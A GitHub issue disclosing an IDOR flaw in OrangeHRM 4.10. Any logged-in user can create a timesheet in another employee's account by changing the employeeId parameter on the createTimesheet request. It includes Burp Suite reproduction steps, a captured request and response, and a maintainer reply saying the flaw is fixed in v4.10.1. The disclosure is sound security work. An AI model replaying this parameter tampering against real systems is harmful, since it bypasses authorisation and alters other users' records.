

New issue

[Jump to bottom](#)

# Insecure Direct Object Reference (IDOR) via the end point `symfony/web/index.php/time/createTimesheet` allows any user to create a timesheet in another user's account #1173

✓ Closed vulf opened this issue on Mar 10 · 1 comment

Labels bug Security

vulf commented on Mar 10

## Environment details

OrangeHRM version: 4.10  
OrangeHRM source: Release build from [Sourceforge](#) or Git clone  
Platform: Ubuntu  
PHP version: 7.3.33  
Database and version: MariaDB 10.3  
Web server: Apache 2.4.52

If applicable:  
Browser: Firefox

## Describe the bug

A user can create a timesheet for a specific week by using the "Add Timesheet" functionality, after which the timesheet is accessible for editing and submission under the dropdown menu.

It was observed that when the `employeeId` parameter was set to any valid user's employee ID, a timesheet was created in that employee's account. The application verifies if a user has a valid session, but does not verify if a user is authorised to create a timesheet for a different `employeeId`. It is also possible to find out whether a timesheet has already been created for a specific week, by analysing the HTTP response.

## To Reproduce

1. Login to the OrangeHRM application as user A with `employeeId` as 2
2. Navigate to "Dashboard" > "My Timesheet"
3. Click on "Add Timesheet"
4. Turn on Intercept in Burp Suite (or any other web proxy)

5. Click on the textbox and select any date, say 1900-03-02
6. Click on "Ok"
7. Go to the Burp Intercept tab and you will notice a GET request being made to the `/symfony/web/index.php/time/createTimesheet` endpoint
8. Modify the value of `employeeId` parameter to a user B's `employeeId` , 4
9. Click on Forward and turn off Intercept
10. Login to user B's account
11. Navigate to "Dashboard" > "My Timesheet"
12. Click on the dropdown menu beside "Timesheet for Week"
13. Notice that a new entry has been created with the date 1900-03-02

**Expected behavior**

"Credentials required" error.

**What do you see instead:**

The response body contains the date of the entry (1900-02-26).

# Screenshots

Request

PrettyRawHex

1

GET /symfony/web/index.php/time/createTimesheet?startDate=1900-03-02&employeeId=3

2

HTTP/1.1

3

Host: localhost

4

User-Agent: Mozilla/5.0 (X11; Linux x86\_64; rv:91.0) Gecko/20100101 Firefox/91.0

5

Accept: application/json, text/javascript, \*/\*; q=0.01

6

Accept-Language: en-US,en;q=0.5

7

Accept-Encoding: gzip, deflate

8

X-Requested-With: XMLHttpRequest

9

Connection: close

10

Referer: http://localhost/symfony/web/index.php/time/viewMyTimesheet

11

Cookie: Loggedin=True; \_\_test=1; \_orangehrm=qkvngs02m9vgviljhtph5b38q6

12

Sec-Fetch-Dest: empty

13

Sec-Fetch-Mode: cors

14

Sec-Fetch-Site: same-origin

15

Response

PrettyRawHexRender

1

HTTP/1.1 200 OK

2

Date: Thu, 10 Mar 2022 13:43:13 GMT

3

Server: Apache/2.4.52 (Unix) OpenSSL/1.1.1d PHP/7.3.33

4

X-Powered-By: PHP/7.3.33

5

Expires: Thu, 19 Nov 1981 08:52:00 GMT

6

Cache-Control: no-store, no-cache, must-revalidate

7

Pragma: no-cache

8

X-Frame-Options: DENY

9

X-Content-Type-Options: nosniff

10

X-XSS-Protection: 1; mode=block

11

Content-Length: 24

12

Connection: close

13

Content-Type: application/json; charset=utf-8

14

15

[

16

"2",

17

"1900-02-26 00:00"

18

]

## Timesheet for Week

2022-03-07 to 2022-03-13 ▾

[Add Timesheet](#)

Project Name

No Records Found

Status: Not Submitted

Activity Name

2002-07-01 to 2002-07-07

2002-06-24 to 2002-06-30

2002-06-17 to 2002-06-23

2002-06-10 to 2002-06-16

2002-06-03 to 2002-06-09

2002-05-27 to 2002-06-02

2002-05-20 to 2002-05-26

2002-05-13 to 2002-05-19

2002-05-06 to 2002-05-12

2002-04-29 to 2002-05-05

2002-04-22 to 2002-04-28

2002-04-15 to 2002-04-21

2002-04-08 to 2002-04-14

2002-04-01 to 2002-04-07

2002-03-25 to 2002-03-31

2002-03-18 to 2002-03-24

2002-03-11 to 2002-03-17

2002-03-04 to 2002-03-10

2002-02-25 to 2002-03-03

1900-02-26 to 1900-03-04



vulf changed the title ~~Insecure Direct Object Reference (IDOR) via the end point~~

~~symfony/web/index.php/time/createTimesheet allows any user can create a timesheet in another user's account~~ Insecure Direct Object Reference (IDOR) via the end point

symfony/web/index.php/time/createTimesheet allows any user to create a timesheet in another user's account on Mar 10



samanthajayasinghe added bug Security labels on Mar 22

samanthajayasing... commented on Mar 25

Member

Hi @vulf

This issue is fixed on v4.10.1

<https://github.com/orangehrm/orangehrm/releases/tag/v4.10.1>



samanthajayasinghe closed this as completed on Mar 25



RajithaKumara mentioned this issue on Mar 26

**OHRM-1154: Bump OrangeHRM version to 4.10.1 #1190**

Merged

#### Assignees

No one assigned

#### Labels

bug Security

#### Projects

None yet

#### Milestone

No milestone

#### Development

No branches or pull requests

2 participants

